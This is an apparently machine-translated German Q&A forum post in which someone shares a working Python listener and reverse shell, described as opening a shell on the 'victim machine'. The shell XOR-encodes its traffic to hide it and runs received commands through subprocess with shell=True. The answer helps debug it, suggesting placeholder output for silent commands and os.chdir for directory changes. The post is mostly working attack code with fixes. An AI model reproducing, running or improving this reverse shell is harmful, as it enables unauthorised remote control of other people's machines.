Reverse-Shell Python mit

Question

Ich habe folgende Hörer und die umgekehrte Schale in Python:

Zuhörer:

import socket 

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(("0.0.0.0", 443)) 
s.listen(2) 
print "Listening on port 443... " 
(client, (ip, port)) = s.accept() 
print " Received connection from : ", ip 

while True: 
command = raw_input('~$ ') 
encode = bytearray(command) 
for i in range(len(encode)): 
    encode[i] ^=0x41 
client.send(encode) 
en_data=client.recv(2048) 
decode = bytearray(en_data) 
for i in range(len(decode)): 
    decode[i] ^=0x41 
print decode 

client.close() 
s.close() 

Reverse-Shell:

import socket, subprocess, sys 

RHOST = '127.0.0.1' #sys.argv[1] 
RPORT = 443 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((RHOST, RPORT)) 

while True: 
    #receive encoded data 
    en_comm = s.recv(1024) 
    #decoded the received command 
    de_comm = bytearray(en_comm) 
    for i in range(len(de_comm)): 
     de_comm[i] ^= 0x41 

    #execute the clear text comamnd after decode it 
    clrtxt_comm = subprocess.Popen(str(de_comm), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 
    output, STDERR = clrtxt_comm.communicate() 

    #encode the command output and send it over ssl 
    en_output = bytearray(output) 
    for i in range(len(en_output)): 
     en_output[i] ^= 0x41 
    s.send(en_output) 

s.close() 

Nach dem Hörer starten und lösen die Rückwärts Shell, es läuft ok und öffnet Shell in der Opfer-Maschine, aber das große Ding ist, dass wenn Befehle wie "cd .." oder "mkdir foldername" (im Falle von Windows) in der gleichen Eingabe stecken und nicht weiterth gehen er.

Sehen oder erkennen Sie, was das Problem im Code ist?

Vielen Dank!

Answer 1

Ich schätze, Sie haben ein paar Probleme.

in erster Linie

Sie so etwas für Befehle hinzufügen müssen, dass keine Ausgabe wie CD zurück:

if not en_output: 
    en_output = bytearray("no output") 
for i in range(len(en_output)): 
    en_output[i] ^= 0x41 

s.send(en_output) 

zweitens, wenn Sie einen Prozess öffnen cd ausführen Sie das nicht ändern Pfad des umgekehrten Shell-Skripts. Dafür musst du den neuen Pfad in os.chdir() einfügen oder etwas Äquivalentes tun (besser noch, schicke es einfach an einen Befehl mit einer Ausgabe wie ls).

Drittens könnte die umgekehrte Shell Sandbox sein und daher einige der obigen Befehle nicht ausführen.